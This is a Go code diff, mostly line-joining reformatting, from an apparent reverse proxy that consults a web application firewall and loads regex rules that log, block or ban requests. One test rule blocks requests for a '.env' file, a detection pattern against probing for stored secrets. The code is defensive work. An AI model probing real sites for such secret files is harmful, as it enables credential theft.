t,
|
|
||||||
func(_ http.ResponseWriter, r *http.Request) {
|
|
||||||
<-r.Context().Done()
|
<-r.Context().Done()
|
||||||
},
|
})
|
||||||
)
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
timeoutSetting: "60000",
|
timeoutSetting: "60000",
|
||||||
defaultDisposition: disposition,
|
defaultDisposition: disposition,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
||||||
@@ -1556,21 +1430,12 @@ func TestReportGivesWhatHappened(t *testing.T) {
|
|||||||
report.ResponseBytes != int64(len(greeting)) ||
|
report.ResponseBytes != int64(len(greeting)) ||
|
||||||
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
|
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
|
||||||
report.DurationUpstreamTotalMS > report.DurationTotalMS {
|
report.DurationUpstreamTotalMS > report.DurationTotalMS {
|
||||||
t.Errorf(
|
t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
|
||||||
"report %+v, of %d bytes up and %d back",
|
|
||||||
report,
|
|
||||||
len(body),
|
|
||||||
len(greeting),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["request_id"] != report.RequestID {
|
if line["request_id"] != report.RequestID {
|
||||||
t.Errorf(
|
t.Errorf("line %v, report %+v, want the same request id", line, report)
|
||||||
"line %v, report %+v, want the same request id",
|
|
||||||
line,
|
|
||||||
report,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1599,14 +1464,9 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
t.Cleanup(backend.Close)
|
t.Cleanup(backend.Close)
|
||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _, server := startServer(
|
addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
backend.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
timeoutSetting: "5000",
|
timeoutSetting: "5000",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
|
|
||||||
@@ -1662,11 +1522,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
|
|||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|
||||||
if res.StatusCode != http.StatusSwitchingProtocols {
|
if res.StatusCode != http.StatusSwitchingProtocols {
|
||||||
t.Fatalf(
|
t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
|
||||||
"status %d, want %d",
|
|
||||||
res.StatusCode,
|
|
||||||
http.StatusSwitchingProtocols,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Past both time limits, the connection still carries what is sent.
|
// Past both time limits, the connection still carries what is sent.
|
||||||
@@ -1690,9 +1546,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
|
|||||||
t.Errorf("report %+v, of %d bytes each way", report, len(message))
|
t.Errorf("report %+v, of %d bytes each way", report, len(message))
|
||||||
}
|
}
|
||||||
|
|
||||||
if line := out.requestLine(t); line["status"] != float64(
|
if line := out.requestLine(t); line["status"] != float64(res.StatusCode) {
|
||||||
res.StatusCode,
|
|
||||||
) {
|
|
||||||
t.Errorf("line %v, want status 101", line)
|
t.Errorf("line %v, want status 101", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1847,8 +1701,7 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
|
|||||||
ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
|
ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
|
||||||
}
|
}
|
||||||
|
|
||||||
if slices.Contains(ids, fromTraefik) || ids[0] == "" ||
|
if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] {
|
||||||
ids[0] == ids[1] {
|
|
||||||
t.Errorf("ids %v, want two fresh ones", ids)
|
t.Errorf("ids %v, want two fresh ones", ids)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1866,13 +1719,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
|||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
req := newRequest(
|
req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body))
|
||||||
t,
|
|
||||||
http.MethodPost,
|
|
||||||
addr,
|
|
||||||
path+"?"+query,
|
|
||||||
strings.NewReader(body),
|
|
||||||
)
|
|
||||||
req.Host = site
|
req.Host = site
|
||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
@@ -1898,10 +1745,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if line["default_disposition"] != nil {
|
if line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
|
||||||
"default_disposition is %v, want it left out",
|
|
||||||
line["default_disposition"],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
|
for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
|
||||||
|
|||||||
+7
-24
@@ -23,9 +23,7 @@ const answerBodyMaxBytes = 1 << 20
|
|||||||
const reportAnswerMaxBytes = 4 << 10
|
const reportAnswerMaxBytes = 4 << 10
|
||||||
|
|
||||||
var (
|
var (
|
||||||
errCannotPassOn = errors.New(
|
errCannotPassOn = errors.New("the answer cannot be passed to the visitor")
|
||||||
"the answer cannot be passed to the visitor",
|
|
||||||
)
|
|
||||||
errReportRefused = errors.New("the report was answered")
|
errReportRefused = errors.New("the report was answered")
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -110,11 +108,7 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
|||||||
// a read of that. Go's client also takes a status below 100, which Go's server
|
// a read of that. Go's client also takes a status below 100, which Go's server
|
||||||
// panics when asked to send.
|
// panics when asked to send.
|
||||||
if res.StatusCode < http.StatusOK {
|
if res.StatusCode < http.StatusOK {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
|
||||||
"%w: its status is %d",
|
|
||||||
errCannotPassOn,
|
|
||||||
res.StatusCode,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
|
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
|
||||||
@@ -139,14 +133,10 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
|||||||
// waf.
|
// waf.
|
||||||
func canBeAsked(r *http.Request) bool {
|
func canBeAsked(r *http.Request) bool {
|
||||||
target, host := r.RequestURI, r.Host
|
target, host := r.RequestURI, r.Host
|
||||||
hostHasZone := strings.HasPrefix(host, "[") &&
|
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
|
||||||
strings.Contains(host, "%")
|
|
||||||
|
|
||||||
return strings.HasPrefix(target, "/") &&
|
return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
|
||||||
!strings.HasPrefix(target, "//") &&
|
host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
|
||||||
host != "" &&
|
|
||||||
!hostHasZone &&
|
|
||||||
len(r.Header.Values("User-Agent")) <= 1
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// newQuestion returns the question about the request, as "The question" in
|
// newQuestion returns the question about the request, as "The question" in
|
||||||
@@ -161,11 +151,7 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||||
ctx,
|
ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
|
||||||
in.Method,
|
|
||||||
rq.h.config.WAFBackend.String(),
|
|
||||||
bytes.NewReader(held),
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the question: %w", err)
|
return nil, fmt.Errorf("make the question: %w", err)
|
||||||
}
|
}
|
||||||
@@ -268,10 +254,7 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
|||||||
// The body of a 101 is the connection itself, and the time limit does not end
|
// The body of a 101 is the connection itself, and the time limit does not end
|
||||||
// a read of that.
|
// a read of that.
|
||||||
if res.StatusCode >= http.StatusOK {
|
if res.StatusCode >= http.StatusOK {
|
||||||
_, _ = io.Copy(
|
_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
|
||||||
io.Discard,
|
|
||||||
io.LimitReader(res.Body, reportAnswerMaxBytes),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|||||||
+13
-55
@@ -63,9 +63,7 @@ const escapeLength = 3
|
|||||||
var (
|
var (
|
||||||
// ruleLine is a rule: four fields separated by spaces or tabs, of
|
// ruleLine is a rule: four fields separated by spaces or tabs, of
|
||||||
// which the fourth, the regex, runs to the end of the line.
|
// which the fourth, the regex, runs to the end of the line.
|
||||||
ruleLine = regexp.MustCompile(
|
ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
|
||||||
`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
|
|
||||||
)
|
|
||||||
// idChars are the characters of a rule's id.
|
// idChars are the characters of a rule's id.
|
||||||
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
||||||
)
|
)
|
||||||
@@ -76,8 +74,7 @@ var (
|
|||||||
"separated by spaces or tabs")
|
"separated by spaces or tabs")
|
||||||
errNotID = errors.New("is not an id of letters, digits, - and _")
|
errNotID = errors.New("is not an id of letters, digits, - and _")
|
||||||
errNotTarget = errors.New(
|
errNotTarget = errors.New(
|
||||||
"is not path, query, uri, method, host, user_agent, referer or header:<Name>",
|
"is not path, query, uri, method, host, user_agent, referer or header:<Name>")
|
||||||
)
|
|
||||||
errNotHeaderName = errors.New(
|
errNotHeaderName = errors.New(
|
||||||
"has a character after header: that no header name can have")
|
"has a character after header: that no header name can have")
|
||||||
errHeaderTakenOut = errors.New(
|
errHeaderTakenOut = errors.New(
|
||||||
@@ -284,8 +281,7 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
|
|
||||||
for _, entry := range entries {
|
for _, entry := range entries {
|
||||||
name := entry.Name()
|
name := entry.Name()
|
||||||
if entry.IsDir() || strings.HasPrefix(name, ".") ||
|
if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
|
||||||
filepath.Ext(name) != extension {
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -302,13 +298,8 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
|
|
||||||
// readFile appends the rules of the rule file at path to rules. places
|
// readFile appends the rules of the rule file at path to rules. places
|
||||||
// are where each id read so far is, and gain those of the file.
|
// are where each id read so far is, and gain those of the file.
|
||||||
func readFile(
|
func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
|
||||||
path string,
|
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
|
||||||
rules []Rule,
|
|
||||||
places map[string]string,
|
|
||||||
) ([]Rule, error) {
|
|
||||||
//nolint:gosec // a rule file, in SWW_RULES_DIR
|
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -332,13 +323,7 @@ func readFile(
|
|||||||
|
|
||||||
first, used := places[rule.ID]
|
first, used := places[rule.ID]
|
||||||
if used {
|
if used {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
|
||||||
"%s: the id %q %w %s",
|
|
||||||
place,
|
|
||||||
rule.ID,
|
|
||||||
errUsedTwice,
|
|
||||||
first,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
places[rule.ID] = place
|
places[rule.ID] = place
|
||||||
@@ -370,42 +355,22 @@ func parse(line string) (Rule, bool, error) {
|
|||||||
case !idChars.MatchString(rule.ID):
|
case !idChars.MatchString(rule.ID):
|
||||||
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
|
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
|
||||||
case !isTarget(rule.Target):
|
case !isTarget(rule.Target):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
|
||||||
"the target %q %w",
|
|
||||||
rule.Target,
|
|
||||||
errNotTarget,
|
|
||||||
)
|
|
||||||
case isHeader && !config.IsHeaderName(headerName):
|
case isHeader && !config.IsHeaderName(headerName):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
|
||||||
"the target %q %w",
|
|
||||||
rule.Target,
|
|
||||||
errNotHeaderName,
|
|
||||||
)
|
|
||||||
case strings.EqualFold(rule.Target, headerTarget+"Host"):
|
case strings.EqualFold(rule.Target, headerTarget+"Host"):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf(
|
||||||
"the target %q %w; the request's host is the target host",
|
"the target %q %w; the request's host is the target host",
|
||||||
rule.Target, errHeaderTakenOut)
|
rule.Target, errHeaderTakenOut)
|
||||||
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
|
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
|
||||||
"the target %q %w",
|
|
||||||
rule.Target,
|
|
||||||
errHeaderTakenOut,
|
|
||||||
)
|
|
||||||
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
|
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
|
||||||
"the action %q %w",
|
|
||||||
rule.Action,
|
|
||||||
errNotAction,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
regex, err := regexp.Compile(fields[4])
|
regex, err := regexp.Compile(fields[4])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
|
||||||
"the regex %w: %w",
|
|
||||||
errNotRegex,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
rule.regex = regex
|
rule.regex = regex
|
||||||
@@ -416,13 +381,7 @@ func parse(line string) (Rule, bool, error) {
|
|||||||
// isTarget reports whether target is one a rule may have.
|
// isTarget reports whether target is one a rule may have.
|
||||||
func isTarget(target string) bool {
|
func isTarget(target string) bool {
|
||||||
switch target {
|
switch target {
|
||||||
case pathTarget,
|
case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
|
||||||
"query",
|
|
||||||
uriTarget,
|
|
||||||
"method",
|
|
||||||
"host",
|
|
||||||
"user_agent",
|
|
||||||
"referer":
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -438,8 +397,7 @@ func (rule Rule) matches(r *http.Request) bool {
|
|||||||
target := value(rule.Target, r)
|
target := value(rule.Target, r)
|
||||||
|
|
||||||
if rule.Target == pathTarget || rule.Target == uriTarget {
|
if rule.Target == pathTarget || rule.Target == uriTarget {
|
||||||
return rule.regex.MatchString(target) ||
|
return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
|
||||||
rule.regex.MatchString(DecodeOnce(target))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return rule.regex.MatchString(target)
|
return rule.regex.MatchString(target)
|
||||||
|
|||||||
@@ -94,13 +94,7 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
|
|||||||
|
|
||||||
got := len(files.Match(r)) == 1
|
got := len(files.Match(r)) == 1
|
||||||
if got != tc.want {
|
if got != tc.want {
|
||||||
t.Errorf(
|
t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
|
||||||
"%s matches %s: %t, want %t",
|
|
||||||
tc.rule,
|
|
||||||
tc.uri,
|
|
||||||
got,
|
|
||||||
tc.want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -129,12 +123,7 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
|
|||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
|
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
|
||||||
} {
|
} {
|
||||||
r := httptest.NewRequestWithContext(
|
r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
|
||||||
t.Context(),
|
|
||||||
http.MethodGet,
|
|
||||||
target,
|
|
||||||
nil,
|
|
||||||
)
|
|
||||||
wantMatched(t, files, r, "as-sent")
|
wantMatched(t, files, r, "as-sent")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -157,20 +146,14 @@ after path log ^/
|
|||||||
wantMatched(t, files, get(t, "/page"), "every-path", "after")
|
wantMatched(t, files, get(t, "/page"), "every-path", "after")
|
||||||
|
|
||||||
// A ban rule ends it too.
|
// A ban rule ends it too.
|
||||||
files = load(
|
files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
|
||||||
t,
|
|
||||||
ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
|
|
||||||
)
|
|
||||||
wantMatched(t, files, get(t, "/"), "ban")
|
wantMatched(t, files, get(t, "/"), "ban")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
|
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
files := load(
|
files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
|
||||||
t,
|
|
||||||
ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
|
|
||||||
)
|
|
||||||
|
|
||||||
wantMatched(t, files, get(t, "/.env"), "env-file")
|
wantMatched(t, files, get(t, "/.env"), "env-file")
|
||||||
}
|
}
|
||||||
@@ -201,10 +184,7 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
|
|||||||
|
|
||||||
// The lock file Emacs makes beside a file while it is edited: a link to
|
// The lock file Emacs makes beside a file while it is edited: a link to
|
||||||
// nothing, which cannot be read.
|
// nothing, which cannot be read.
|
||||||
err := os.Symlink(
|
err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
|
||||||
"user@host.1234:1700000000",
|
|
||||||
filepath.Join(dir, ".#"+firstFile),
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("symlink: %v", err)
|
t.Fatalf("symlink: %v", err)
|
||||||
}
|
}
|
||||||
@@ -296,8 +276,7 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
|
|||||||
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
|
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
|
||||||
path := filepath.Join(dir, "00-default.rules")
|
path := filepath.Join(dir, "00-default.rules")
|
||||||
|
|
||||||
want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want
|
wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
|
||||||
wantRefused(t, dir, want)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -310,12 +289,8 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
|
|||||||
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
|
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantRefused(
|
wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
|
||||||
t,
|
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
|
||||||
dir,
|
|
||||||
filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
|
|
||||||
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
@@ -330,9 +305,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params, lines := newParams(
|
params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
|
||||||
writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
|
|
||||||
)
|
|
||||||
|
|
||||||
files, err := rules.Load(params)
|
files, err := rules.Load(params)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -341,11 +314,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
|||||||
|
|
||||||
line := lines.waitFor(t, read)
|
line := lines.waitFor(t, read)
|
||||||
if files.Len() != 0 || line["rules"] != 0.0 {
|
if files.Len() != 0 || line["rules"] != 0.0 {
|
||||||
t.Errorf(
|
t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
|
||||||
"%d rules loaded, and the log says %v, want none",
|
|
||||||
files.Len(),
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -406,12 +375,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
|
|
||||||
// The edit's second line has an unknown action, so the rules stay as
|
// The edit's second line has an unknown action, so the rules stay as
|
||||||
// they were, the first line's earlier version included.
|
// they were, the first line's earlier version included.
|
||||||
save(
|
save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
|
||||||
t,
|
|
||||||
dir,
|
|
||||||
firstFile,
|
|
||||||
"first path block ^/edited\nsecond path bann ^/second\n",
|
|
||||||
)
|
|
||||||
|
|
||||||
line := lines.waitFor(t, hasError)
|
line := lines.waitFor(t, hasError)
|
||||||
want := filepath.Join(dir, firstFile) +
|
want := filepath.Join(dir, firstFile) +
|
||||||
@@ -429,11 +393,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
|
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
|
||||||
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
|
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
|
||||||
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
|
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
|
||||||
t.Errorf(
|
t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
|
||||||
"alerts waiting %+v, want one file_error alert for %q",
|
|
||||||
waiting,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
wantFileError()
|
wantFileError()
|
||||||
@@ -442,16 +402,8 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
wantMatched(t, files, get(t, "/second"))
|
wantMatched(t, files, get(t, "/second"))
|
||||||
|
|
||||||
// Once mended, the file is read again, and raises no alert.
|
// Once mended, the file is read again, and raises no alert.
|
||||||
save(
|
save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
|
||||||
t,
|
lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
|
||||||
dir,
|
|
||||||
firstFile,
|
|
||||||
"first path block ^/edited\nsecond path ban ^/second\n",
|
|
||||||
)
|
|
||||||
lines.waitUntil(
|
|
||||||
t,
|
|
||||||
func() bool { return len(files.Match(get(t, "/second"))) == 1 },
|
|
||||||
)
|
|
||||||
wantMatched(t, files, get(t, "/edited"), "first")
|
wantMatched(t, files, get(t, "/edited"), "first")
|
||||||
wantFileError()
|
wantFileError()
|
||||||
}
|
}
|
||||||
@@ -607,10 +559,7 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
|
|||||||
// watch loads the rules in dir, runs their Watch until the test ends, and
|
// watch loads the rules in dir, runs their Watch until the test ends, and
|
||||||
// waits until it watches the directory. It returns the alerts' queue as
|
// waits until it watches the directory. It returns the alerts' queue as
|
||||||
// well.
|
// well.
|
||||||
func watch(
|
func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
|
||||||
t *testing.T,
|
|
||||||
dir string,
|
|
||||||
) (*rules.Files, processLog, *alerts.Queue) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
params, lines := newParams(dir)
|
params, lines := newParams(dir)
|
||||||
@@ -662,31 +611,21 @@ func get(t *testing.T, target string) *http.Request {
|
|||||||
|
|
||||||
// wantRefusedBy checks that a GET request for target with the user agent
|
// wantRefusedBy checks that a GET request for target with the user agent
|
||||||
// sent matches rule alone, and that rule refuses it.
|
// sent matches rule alone, and that rule refuses it.
|
||||||
func wantRefusedBy(
|
func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
|
||||||
t *testing.T,
|
|
||||||
files *rules.Files,
|
|
||||||
target, sent, rule string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
r := get(t, target)
|
r := get(t, target)
|
||||||
r.Header.Set(userAgent, sent)
|
r.Header.Set(userAgent, sent)
|
||||||
|
|
||||||
matched := files.Match(r)
|
matched := files.Match(r)
|
||||||
if len(matched) != 1 || matched[0].ID != rule ||
|
if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
|
||||||
matched[0].Action == rules.ActionLog {
|
|
||||||
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
|
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
|
||||||
sent, ids(matched), rule)
|
sent, ids(matched), rule)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantMatched checks the ids of the rules r matches, in order.
|
// wantMatched checks the ids of the rules r matches, in order.
|
||||||
func wantMatched(
|
func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
|
||||||
t *testing.T,
|
|
||||||
files *rules.Files,
|
|
||||||
r *http.Request,
|
|
||||||
want ...string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := ids(files.Match(r))
|
got := ids(files.Match(r))
|
||||||
|
|||||||
+136
-607
File diff suppressed because it is too large.
Load diff
+266
-1101
File diff suppressed because it is too large.
Load diff
@@ -31,9 +31,7 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
|
|||||||
// args are the arguments after `healthcheck`; it takes none, and given
|
// args are the arguments after `healthcheck`; it takes none, and given
|
||||||
// one it names it on stderr and returns 1 without checking anything.
|
// one it names it on stderr and returns 1 without checking anything.
|
||||||
func HealthCheck(
|
func HealthCheck(
|
||||||
ctx context.Context,
|
ctx context.Context, args []string, lookupEnv func(string) (string, bool),
|
||||||
args []string,
|
|
||||||
lookupEnv func(string) (string, bool),
|
|
||||||
stderr io.Writer,
|
stderr io.Writer,
|
||||||
) int {
|
) int {
|
||||||
if len(args) > 0 {
|
if len(args) > 0 {
|
||||||
@@ -87,9 +85,7 @@ func checkWAF(
|
|||||||
func checkRProxyAndApp(
|
func checkRProxyAndApp(
|
||||||
ctx context.Context, lookupEnv func(string) (string, bool),
|
